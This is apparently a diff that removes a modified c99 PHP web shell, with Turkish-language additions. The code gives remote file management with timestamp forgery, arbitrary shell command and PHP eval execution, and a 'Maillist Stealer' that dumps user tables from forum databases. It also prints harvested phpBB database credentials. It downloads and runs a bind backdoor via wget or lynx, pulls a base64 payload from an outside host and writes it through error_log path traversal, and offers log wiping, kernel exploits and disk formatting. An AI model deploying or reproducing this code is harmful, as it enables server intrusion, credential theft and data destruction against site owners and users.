-echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
-}
- }
-}
-if ($act == "upload")
-{
- $uploadmess = "";
- $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
- if (empty($uploadpath)) {$uploadpath = $d;}
- elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
- if (!empty($submit))
- {
-global $HTTP_POST_FILES;
-$uploadfile = $HTTP_POST_FILES["uploadfile"];
-if (!empty($uploadfile["tmp_name"]))
-{
-if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
-else {$destin = $userfilename;}
-if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";}
-}
-elseif (!empty($uploadurl))
-{
-if (!empty($uploadfilename)) {$destin = $uploadfilename;}
-else
-{
- $destin = explode("/",$destin);
- $destin = $destin[count($destin)-1];
- if (empty($destin))
- {
-$i = 0;
-$b = "";
-while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
-}
-if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
-else
-{
- $st = getmicrotime();
- $content = @file_get_contents($uploadurl);
- $dt = round(getmicrotime()-$st,4);
- if (!$content) {$uploadmess .="Can't download file! ";}
- else
- {
-if ($filestealth) {$stat = stat($uploadpath.$destin);}
-$fp = fopen($uploadpath.$destin,"w");
-if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
-else
-{
-fwrite($fp,$content,strlen($content));
-fclose($fp);
-if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
-}
- }
-}
-}
- }
- if ($miniform)
- {
-echo "".$uploadmess." ";
-$act = "ls";
- }
- else
- {
-echo "File upload: ".$uploadmess."
-Select file on your local computer: or
-Input URL:
-Save this file dir:
-File-name (auto-fill):
- convert file name to lovercase
-
- ";
- }
-}
-if ($act == "delete")
-{
- $delerr = "";
- foreach ($actbox as $v)
- {
-$result = FALSE;
-$result = fs_rmobj($v);
-if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
- }
- if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
- $act = "ls";
-}
-if (!$usefsbuff)
-{
- if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
-}
-else
-{
- if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
- elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
- elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
- if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
- elseif ($actpastebuff)
- {
-$psterr = "";
-foreach($sess_data["copy"] as $k=>$v)
-{
-$to = $d.basename($v);
-if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
-if ($copy_unset) {unset($sess_data["copy"][$k]);}
-}
-foreach($sess_data["cut"] as $k=>$v)
-{
-$to = $d.basename($v);
-if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
-unset($sess_data["cut"][$k]);
-}
-c99_sess_put($sess_data);
-if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
-$act = "ls";
- }
- elseif ($actarcbuff)
- {
-$arcerr = "";
-if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
-else {$ext = ".tar.gz";}
-if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
-$cmdline .= " ".$actarcbuff_path;
-$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
-foreach($objects as $v)
-{
-$v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
-if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
-if (is_dir($v))
-{
- if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
- $v .= "*";
-}
-$cmdline .= " ".$v;
-}
-$tmp = realpath(".");
-chdir($d);
-$ret = myshellexec($cmdline);
-chdir($tmp);
-if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
-$ret = str_replace("\r\n","\n",$ret);
-$ret = explode("\n",$ret);
-if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
-foreach($sess_data["cut"] as $k=>$v)
-{
-if (in_array($v,$ret)) {fs_rmobj($v);}
-unset($sess_data["cut"][$k]);
-}
-c99_sess_put($sess_data);
-if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
-$act = "ls";
- }
- elseif ($actpastebuff)
- {
-$psterr = "";
-foreach($sess_data["copy"] as $k=>$v)
-{
-$to = $d.basename($v);
-if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
-if ($copy_unset) {unset($sess_data["copy"][$k]);}
-}
-foreach($sess_data["cut"] as $k=>$v)
-{
-$to = $d.basename($v);
-if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
-unset($sess_data["cut"][$k]);
-}
-c99_sess_put($sess_data);
-if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
-$act = "ls";
- }
-}
-if ($act == "cmd")
-{
-if (trim($cmd) == "ps -aux") {$act = "processes";}
-elseif (trim($cmd) == "tasklist") {$act = "processes";}
-else
-{
- @chdir($chdir);
- if (!empty($submit))
- {
-echo "Result of execution this command : ";
-$olddir = realpath(".");
-@chdir($d);
-$ret = myshellexec($cmd);
-$ret = convert_cyr_string($ret,"d","w");
-if ($cmd_txt)
-{
-$rows = count(explode("\r\n",$ret))+1;
-if ($rows < 10) {$rows = 10;}
-echo "".htmlspecialchars($ret)." ";
-}
-else {echo $ret." ";}
-@chdir($olddir);
- }
- else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
- echo "".htmlspecialchars($cmd)." Display in text-area ";
-}
-}
-if ($act == "ls")
-{
- if (count($ls_arr) > 0) {$list = $ls_arr;}
- else
- {
-$list = array();
-if ($h = @opendir($d))
-{
-while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
-closedir($h);
-}
-else {}
- }
- if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
- else
- {
-//Building array
-$objects = array();
-$vd = "f"; //Viewing mode
-if ($vd == "f")
-{
-$objects["head"] = array();
-$objects["folders"] = array();
-$objects["links"] = array();
-$objects["files"] = array();
-foreach ($list as $v)
-{
- $o = basename($v);
- $row = array();
- if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
- elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
- elseif (is_dir($v))
- {
-if (is_link($v)) {$type = "LINK";}
-else {$type = "DIR";}
-$row[] = $v;
-$row[] = $type;
- }
- elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
- $row[] = filemtime($v);
- if (!$win)
- {
-$ow = posix_getpwuid(fileowner($v));
-$gr = posix_getgrgid(filegroup($v));
-$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
- }
- $row[] = fileperms($v);
- if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
- elseif (is_link($v)) {$objects["links"][] = $row;}
- elseif (is_dir($v)) {$objects["folders"][] = $row;}
- elseif (is_file($v)) {$objects["files"][] = $row;}
- $i++;
-}
-$row = array();
-$row[] = "Name ";
-$row[] = "Size ";
-$row[] = "Modify ";
-if (!$win)
-{$row[] = "Owner/Group ";}
-$row[] = "Perms ";
-$row[] = "Action ";
-$parsesort = parsesort($sort);
-$sort = $parsesort[0].$parsesort[1];
-$k = $parsesort[0];
-if ($parsesort[1] != "a") {$parsesort[1] = "d";}
-$y = "";
-$y .= " ";
-$row[$k] .= $y;
-for($i=0;$i".$row[$i]."";}
-}
-$v = $parsesort[0];
-usort($objects["folders"], "tabsort");
-usort($objects["links"], "tabsort");
-usort($objects["files"], "tabsort");
-if ($parsesort[1] == "d")
-{
- $objects["folders"] = array_reverse($objects["folders"]);
- $objects["files"] = array_reverse($objects["files"]);
-}
-$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
-$tab = array();
-$tab["cols"] = array($row);
-$tab["head"] = array();
-$tab["folders"] = array();
-$tab["links"] = array();
-$tab["files"] = array();
-$i = 0;
-foreach ($objects as $a)
-{
- $v = $a[0];
- $o = basename($v);
- $dir = dirname($v);
- if ($disp_fullpath) {$disppath = $v;}
- else {$disppath = $o;}
- $disppath = str2mini($disppath,60);
- if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
- elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
- foreach ($regxp_highlight as $r)
- {
-if (ereg($r[0],$o))
-{
-if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
-else
-{
- $r[1] = round($r[1]);
- $isdir = is_dir($v);
- if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
- {
-if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
-$disppath = $r[2].$disppath.$r[3];
-if ($r[4]) {break;}
- }
-}
-}
- }
- $uo = urlencode($o);
- $ud = urlencode($dir);
- $uv = urlencode($v);
- $row = array();
- if ($o == ".")
- {
-$row[] = " ".$o." ";
-$row[] = "LINK";
- }
- elseif ($o == "..")
- {
-$row[] = " ".$o." ";
-$row[] = "LINK";
- }
- elseif (is_dir($v))
- {
-if (is_link($v))
-{
-$disppath .= " => ".readlink($v);
-$type = "LINK";
-$row[] =" [".$disppath."] ";
-}
-else
-{
-$type = "DIR";
-$row[] =" [".$disppath."] ";
-}
-$row[] = $type;
- }
- elseif(is_file($v))
- {
-$ext = explode(".",$o);
-$c = count($ext)-1;
-$ext = $ext[$c];
-$ext = strtolower($ext);
-$row[] =" ".$disppath." ";
-$row[] = view_size($a[1]);
- }
- $row[] = date("d.m.Y H:i:s",$a[2]);
- if (!$win) {$row[] = $a[3];}
- $row[] = "".view_perms_color($v)." ";
- if ($o == ".") {$checkbox = " "; $i--;}
- else {$checkbox = " ";}
- if (is_dir($v)) {$row[] = " ".$checkbox;}
- else {$row[] = " ".$checkbox;}
- if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
- elseif (is_link($v)) {$tab["links"][] = $row;}
- elseif (is_dir($v)) {$tab["folders"][] = $row;}
- elseif (is_file($v)) {$tab["files"][] = $row;}
- $i++;
-}
-}
-// Compiling table
-$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
-echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
-foreach($table as $row)
-{
-echo "\r\n";
-foreach($row as $v) {echo "".$v." \r\n";}
-echo " \r\n";
-}
-echo "
-
-
- ";
-if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
-{
-echo " ";
-}
-echo "With selected: ";
-echo "Delete ";
-echo "Change-mode ";
-if ($usefsbuff)
-{
-echo "Cut ";
-echo "Copy ";
-echo "Unselect ";
-}
-echo "
";
-echo "";
- }
-}
-if ($act == "tools")
-{
-
-
-
-
-
-
- ?>
-
- $ircadmin ,$ircserver a$irclabel ismi ile baglaniyorum ";
-
- }
-
-
-
- ?>
-
-
-
-
-
-
-
-
-
-
-
-
-:: Psych0 RulaZz ::
-
-
- Useful Commands
-
-
-
-
-
-
-Kernel version
- Logged in users
- Last to connect
- Suid bins
- USER WITHOUT PASSWORD!
- Write in /etc/?
- Downloaders?
- CPUINFO
- Open ports
- gcc installed?
- Format box (DANGEROUS)
- WIPELOGS PT1 (If wget installed)
- WIPELOGS PT2
- WIPELOGS PT3
- Kernel attack (Krad.c) PT1 (If wget installed)
- Kernel attack (Krad.c) PT2 (L1)
- Kernel attack (Krad.c) PT2 (L2)
- Kernel attack (Krad.c) PT2 (L3)
- Kernel attack (Krad.c) PT2 (L4)
- Kernel attack (Krad.c) PT2 (L5)
-
-
-
-
-
-Warning. Kernel may be alerted using higher levels
-
-
-
-:: ...Maillist Stealer ... ::
-
-
-
-
-----------------------------------------------
- -----------------wbb------------------------
- -----------------smf-------------------------
- ----------------phpbb-----------------------
- --------------vbulletin-----------------------
-
-
- Db ismi
- Db Server
- Db user
- Db Pass
-
-
-
-
-
-
-
-
-
- if (isset($_POST['dumpc']))
- {
- $zirt=$_POST['destoyew'];
-
-$db_ismi=$_POST['isimofdb'];
-$db_serveri=$_POST['serverofdb'];
-$db_passi=$_POST['passofdb'];
-$db_kuli=$_POST['kulofdb'];
-switch($zirt)
-{
-case 'wbb':
-
-$alici=sprintf($alici,$db_ismi,$db_serveri,$db_kuli,$db_passi,'bb1_users',4);
-
- eval("$alici");
-
-
-break;
-
-
-
-case 'vb':
-$alici=sprintf($alici,$db_ismi,$db_serveri,$db_kuli,$db_passi,'user',7);
-
- eval("$alici");
-
-break;
-
-case 'smf':
-$alici=sprintf($alici,$db_ismi,$db_serveri,$db_kuli,$db_passi,'smf_members',14);
-
- eval("$alici");
-
-break;
-
-
-case 'phpbb':
-$alici=sprintf($alici,$db_ismi,$db_serveri,$db_kuli,$db_passi,'phpbb_users',34);
-
- eval("$alici");
-
-break;
-
-
-}
-
-
-}
-
-
- ?>
-
-
-
-
-
-Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...";
-}
-if (!empty($_GET['dolma']))
-{
-$sayko=htmlspecialchars($_GET['dolma']);
-if ($sayko == "wgetcan")
-{
-
-myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind");
-
-
-}
-
-else if ($sayko =="freadcan")
-{
-dosyayicek($adires,"sayko_bind");
-myshellexec("./sayko_bind");
-}
-
-else if ($sayko == "lynxcan")
-{
-myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind");
-
-}
-
-
-
-
-
-}
-
-if(!empty($_POST['erorr']) || isset($_POST['erorr']))
-{
-
-if (isset($_POST['c100y'])){
-
-if
-(error_log($_POST['erorr'], 3, "php://../../../../../../../../".$_POST['nere']))
-{
-echo "Dehset yazarim ";
-
-}
-
-else
-{
-
-echo "YAzamadim abi .... ";
-}
-
-}
-
-else {
-$c100c=base64_decode(dosyicek("http://sistemdata.be/base.txt"));
-
-if
-(error_log($c100c, 3, "php://../../../../../../../../".$_POST['nere']))
-{
-echo "yazdim c100 u gir dait :D ";
-
-}
-
-else
-{
-
-echo "YAzamadim abi .... ";
-}
-
-
-}
-
-
-
-
-}
-}
-if ($act == "processes")
-{
- echo "Processes: ";
- if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
- else {$handler = "tasklist";}
- $ret = myshellexec($handler);
- if (!$ret) {echo "Can't execute \"".$handler."\"!";}
- else
- {
-if (empty($processes_sort)) {$processes_sort = $sort_default;}
-$parsesort = parsesort($processes_sort);
-if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
-$k = $parsesort[0];
-if ($parsesort[1] != "a") {$y = " ";}
-else {$y = " ";}
-$ret = htmlspecialchars($ret);
-if (!$win)
-{
-if ($pid)
-{
- if (is_null($sig)) {$sig = 9;}
- echo "Sending signal ".$sig." to #".$pid."... ";
- if (posix_kill($pid,$sig)) {echo "OK.";}
- else {echo "ERROR.";}
-}
-while (ereg("",$ret)) {$ret = str_replace(""," ",$ret);}
-$stack = explode("\n",$ret);
-$head = explode(" ",$stack[0]);
-unset($stack[0]);
-for($i=0;$i".$head[$i]." ";}
-}
-$prcs = array();
-foreach ($stack as $line)
-{
- if (!empty($line))
-{
- echo "";
-$line = explode(" ",$line);
-$line[10] = join(" ",array_slice($line,10));
-$line = array_slice($line,0,11);
-if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
-$line[] = "KILL ";
-$prcs[] = $line;
-echo " ";
- }
-}
-}
-else
-{
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
-while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
-$ret = convert_cyr_string($ret,"d","w");
-$stack = explode("\n",$ret);
-unset($stack[0],$stack[2]);
-$stack = array_values($stack);
-$head = explode("",$stack[0]);
-$head[1] = explode(" ",$head[1]);
-$head[1] = $head[1][0];
-$stack = array_slice($stack,1);
-unset($head[2]);
-$head = array_values($head);
-if ($parsesort[1] != "a") {$y = " ";}
-else {$y = " ";}
-if ($k > count($head)) {$k = count($head)-1;}
-for($i=0;$i".trim($head[$i])." ";}
-}
-$prcs = array();
-foreach ($stack as $line)
-{
- if (!empty($line))
- {
-echo "";
-$line = explode("",$line);
-$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
-$line[2] = intval(str_replace(" ","",$line[2]))*1024;
-$prcs[] = $line;
-echo " ";
- }
-}
-}
-$head[$k] = "".$head[$k]." ".$y;
-$v = $processes_sort[0];
-usort($prcs,"tabsort");
-if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
-$tab = array();
-$tab[] = $head;
-$tab = array_merge($tab,$prcs);
-echo "";
-foreach($tab as $i=>$k)
-{
-echo "";
-foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
-echo " ";
-}
-echo "
";
- }
-}
-if ($act == "eval")
-{
- if (!empty($eval))
- {
-echo "Result of execution this PHP-code : ";
-$tmp = ob_get_contents();
-$olddir = realpath(".");
-@chdir($d);
-if ($tmp)
-{
-ob_clean();
-eval($eval);
-$ret = ob_get_contents();
-$ret = convert_cyr_string($ret,"d","w");
-ob_clean();
-echo $tmp;
-if ($eval_txt)
-{
- $rows = count(explode("\r\n",$ret))+1;
- if ($rows < 10) {$rows = 10;}
- echo "".htmlspecialchars($ret)." ";
-}
-else {echo $ret." ";}
-}
-else
-{
-if ($eval_txt)
-{
- echo "";
- eval($eval);
- echo " ";
-}
-else {echo $ret;}
-}
-@chdir($olddir);
- }
- else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
- echo "".htmlspecialchars($eval)." Display in text-area ";
-}
-if ($act == "f")
-{
- if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
- {
-if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
-else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
- }
- else
- {
-$r = @file_get_contents($d.$f);
-$ext = explode(".",$f);
-$c = count($ext)-1;
-$ext = $ext[$c];
-$ext = strtolower($ext);
-$rft = "";
-foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
-if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
-if (empty($ft)) {$ft = $rft;}
-$arr = array(
-array(" ","info"),
-array(" ","html"),
-array(" ","txt"),
-array("Code","code"),
-array("Session","phpsess"),
-array(" ","exe"),
-array("SDB","sdb"),
-array(" ","img"),
-array(" ","ini"),
-array(" ","download"),
-array(" ","notepad"),
-array(" ","edit")
-);
-echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
-foreach($arr as $t)
-{
-if ($t[1] == $rft) {echo " ".$t[0]." ";}
-elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
-else {echo " ".$t[0]." ";}
-echo " (+ ) |";
-}
-echo " ";
-if ($ft == "info")
-{
-echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
-if (!$win)
-{
- echo "Owner/Group ";
- $ow = posix_getpwuid(fileowner($d.$f));
- $gr = posix_getgrgid(filegroup($d.$f));
- echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
-}
-echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
-$fi = fopen($d.$f,"rb");
-if ($fi)
-{
- if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
- else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
- $n = 0;
- $a0 = "00000000 ";
- $a1 = "";
- $a2 = "";
- for ($i=0; $i";}
-$a1 .= " ";
-$a2 .= " ";
-}
- }
- //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
- echo " ";
-}
-$encoded = "";
-if ($base64 == 1)
-{
- echo "Base64 Encode ";
- $encoded = base64_encode(file_get_contents($d.$f));
-}
-elseif($base64 == 2)
-{
- echo "Base64 Encode + Chunk ";
- $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
-}
-elseif($base64 == 3)
-{
- echo "Base64 Encode + Chunk + Quotes ";
- $encoded = base64_encode(file_get_contents($d.$f));
- $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
-}
-elseif($base64 == 4)
-{
- $text = file_get_contents($d.$f);
- $encoded = base64_decode($text);
- echo "Base64 Decode";
- if (base64_encode($encoded) != $text) {echo " (failed)";}
- echo " ";
-}
-if (!empty($encoded))
-{
- echo "".htmlspecialchars($encoded)." ";
-}
-echo "HEXDUMP: [Full ] [Preview ]Base64:
-[Encode ]
-[+chunk ]
-[+chunk+quotes ]
-[Decode ]
-";
-}
-elseif ($ft == "html")
-{
-if ($white) {@ob_clean();}
-echo $r;
-if ($white) {c99shexit();}
-}
-elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
-elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
-elseif ($ft == "phpsess")
-{
-echo "";
-$v = explode("|",$r);
-echo $v[0]." ";
-var_dump(unserialize($v[1]));
-echo " ";
-}
-elseif ($ft == "exe")
-{
-$ext = explode(".",$f);
-$c = count($ext)-1;
-$ext = $ext[$c];
-$ext = strtolower($ext);
-$rft = "";
-foreach($exeftypes as $k=>$v)
-{
- if (in_array($ext,$v)) {$rft = $k; break;}
-}
-$cmd = str_replace("%f%",$f,$rft);
-echo "Execute file: Display in text-area ";
-}
-elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
-elseif ($ft == "code")
-{
-if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
-{
- $arr = explode("\n",$r);
- if (count($arr == 18))
- {
-include($d.$f);
-echo "phpBB configuration is detected in this file! ";
-if ($dbms == "mysql4") {$dbms = "mysql";}
-if ($dbms == "mysql") {echo "Connect to DB ";}
-else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
-echo "Parameters for manual connect: ";
-$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
-foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
-echo " ";
- }
-}
-if (ereg("// Number of this Forum",$r))
-{
- $arr = explode("\n",$r);
- if (count($arr == 18))
- {
-include($d.$f);
-echo "phpBB configuration is detected in this file! ";
-if ($dbms == "mysql4") {$dbms = "mysql";}
-if ($dbms == "mysql") {echo "Connect to DB ";}
-else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
-echo "Parameters for manual connect: ";
-$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
-foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
-echo " ";
- }
-}
-
-
-
-echo "";
-if (!empty($white)) {@ob_clean();}
-highlight_file($d.$f);
-if (!empty($white)) {c99shexit();}
-echo "
";
-}
-elseif ($ft == "download")
-{
-@ob_clean();
-header("Content-type: application/octet-stream");
-header("Content-length: ".filesize($d.$f));
-header("Content-disposition: attachment; filename=\"".$f."\";");
-echo $r;
-exit;
-}
-elseif ($ft == "notepad")
-{
-@ob_clean();
-header("Content-type: text/plain");
-header("Content-disposition: attachment; filename=\"".$f.".txt\";");
-echo($r);
-exit;
-}
-elseif ($ft == "img")
-{
-$inf = getimagesize($d.$f);
-if (!$white)
-{
- if (empty($imgsize)) {$imgsize = 20;}
- $width = $inf[0]/100*$imgsize;
- $height = $inf[1]/100*$imgsize;
- echo "Size: ";
- $sizes = array("100","50","20");
- foreach ($sizes as $v)
- {
-echo "";
-if ($imgsize != $v ) {echo $v;}
-else {echo "".$v." ";}
-echo " ";
- }
- echo " ";
-}
-else
-{
- @ob_clean();
- $ext = explode($f,".");
- $ext = $ext[count($ext)-1];
- header("Content-type: ".$inf["mime"]);
- readfile($d.$f);
- exit;
-}
-}
-elseif ($ft == "edit")
-{
-if (!empty($submit))
-{
- if ($filestealth) {$stat = stat($d.$f);}
- $fp = fopen($d.$f,"w");
- if (!$fp) {echo "Can't write to file! ";}
- else
- {
-echo "Saved! ";
-fwrite($fp,$edit_text);
-fclose($fp);
-if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
-$r = $edit_text;
- }
-}
-$rows = count(explode("\r\n",$r));
-if ($rows < 10) {$rows = 10;}
-if ($rows > 30) {$rows = 30;}
-echo " ".htmlspecialchars($r)." ";
-}
-elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
-else {echo "Unknown extension (".$ext."), please, select type manually. ";}
- }
-}
-}
-else
-{
- @ob_clean();
- $images = array(
-"Success"=>
-"R0lGODlhGgAVAPcAAKHMn/v7+8/Pz+7u7me3Ytjs1kurRXi/c9bW1vLy8sznyt/f31myVD+l
-OOXz5fL58rzguuLi4jOgLMzMzP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAGgAVAAAI8gApCBwoMEAEBBMSTkAQIQAF
-BQckECBIkUIEhRgVEpDA0UDFgggnCIgwIEGCAREANODI8iOFkAscEnSwkiXHjxcnDKj4gIFN
-CQcgVAyQcMFHADYbAJggk+BFAQUqKvhZIGGEiggjNDAgdOBGlgAsLqyYECnHAw8e2pxIYUBC
-ikQnfOXIwMFcCQ4EJnhLMG5Nln+BDtw7geyECBF/sowq0G1hilkpQAhM1+lYik8dFlDclUIA
